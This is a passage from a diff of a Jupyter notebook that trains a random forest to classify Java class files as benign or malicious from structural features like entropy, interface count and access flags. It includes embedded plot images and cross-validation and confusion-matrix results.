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\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x12b6cd7d0>"
+       ]
+      }
+     ],
+     "prompt_number": 134
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### Finally, we check out the number of interfaces the class file has."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df.boxplot(column='interface_count', by='label')\n",
+      "plt.ylabel('Number of Interfaces')\n",
+      "plt.xlabel('')\n",
+      "plt.title('')\n",
+      "plt.suptitle('')"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 135,
+       "text": [
+        "<matplotlib.text.Text at 0x12b68ced0>"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x12b8b11d0>"
+       ]
+      }
+     ],
+     "prompt_number": 135
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### First we try classifying binaries just based on some simple features we already have"
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "my_seed = 1022\n",
+      "my_tsize = .2"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 136
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "import sklearn.ensemble\n",
+      "clf_simple = sklearn.ensemble.RandomForestClassifier(n_estimators=50)\n",
+      "simple_features = ['acc_abstract', 'acc_annotation', 'acc_enum', 'acc_final', 'acc_interface',\n",
+      "                    'acc_public', 'acc_super', 'acc_synthetic', 'ap_count', 'constant_pool_count',\n",
+      "                    'entropy', 'size', 'interface_count', 'major version', 'methods_count', 'minor version']\n",
+      "\n",
+      "X = df.as_matrix(simple_features)\n",
+      "y = np.array(df['label'].tolist())\n",
+      "\n",
+      "scores = sklearn.cross_validation.cross_val_score(clf_simple, X, y, cv=10)\n",
+      "print(\"Accuracy: %0.3f (+/- %0.3f)\" % (scores.mean(), scores.std() * 2))"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "Accuracy: 0.927 (+/- 0.044)\n"
+       ]
+      }
+     ],
+     "prompt_number": 137
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### Not terribly great, but we're just getting started."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "import sklearn.ensemble\n",
+      "from sklearn.metrics import confusion_matrix\n",
+      "from sklearn.cross_validation import train_test_split\n",
+      "\n",
+      "# 80/20 Split for predictive test\n",
+      "X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n",
+      "clf_simple.fit(X_train, y_train)\n",
+      "y_pred = clf_simple.predict(X_test)\n",
+      "labels = ['benign', 'malicious']\n",
+      "cm = confusion_matrix(y_test, y_pred, labels)\n",
+      "plot_cm(cm, labels)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "Confusion Matrix Stats\n",
+        "benign/benign: 93.07% (94/101)\n",
+        "benign/malicious: 6.93% (7/101)\n",
+        "malicious/benign: 10.68% (11/103)\n",
+        "malicious/malicious: 89.32% (92/103)\n"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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\nnejJuWZmtoqUPNlLvzLQauIriYi3gLdW9blmZrbqlDzZS7/SZzVxSUfkPuV9JH1X0jxJSyVNlzQ6\n5xkj6Y68Fuvzkr7bcI19JV0p6cl87iuSJkvas/iu7yhDYb+2pPUknZLXjX1N0nxJf5D0+S6cu6Wk\nSyW9IGmZpCfytdZqyPeOPvq6Y22SLmpIO0zSjPyMiyXNlXSZpKFdeVYzs4EqIpreWkV/qImfTvoy\ncRZphptvAzdJOho4DzgfuJQ0AvAkSU9FxK/zuYcDGwAXk9Z33Zw0hH+KpL0j4o5mCyNpA+AO0sT2\nV5OWjVuNNIDhAODKDs59PzCDNDn+ucDjwN6kkYqjJY3NNfiajv5SVhyT9EXSM04Dvge8BmwB7A+8\nhzTYwszMCrRQTG5afwjig4DdIuJNAEl/Aq4Dfg2Mioj7c/qFwNPAcfkYwLiIWGn6Oknnk9ZsHU/3\nhvKfSgrgX4qIiQ3X7mwpnFOBocCnIuKmnHa+pKeB75C+dFxYf8kulukzpEXl94mI+tr7D7p4vpnZ\ngNXOaPNK6A8D286rBfCsVnu+uxbAASLiDdL8tB+oS1sRwCWtI2kj0qw5M4BRzRZE0iDgYOBPjQE8\n36/d73P53AOB++sCeM1puVyfabZM2avA2sDfdOGLhJmZ1anywLb+EMSfrP8QEa/kH58qyPsKsFHt\ng6RtJP23pFdINdWXSEvE7U9qZm/W0HzeA9049z2kQPtI44H8TH8BturGdSHV8J8GJgEvSvqNpKPz\nDEBmZtaBMmZs66/6Q3N6eyO8Oxz5nQPYNNKctRNI89UuItV4TyD1RfdnhX8mkt7x3yQinpC0PWkG\noLHAXsAFwA8l7ZmXv1v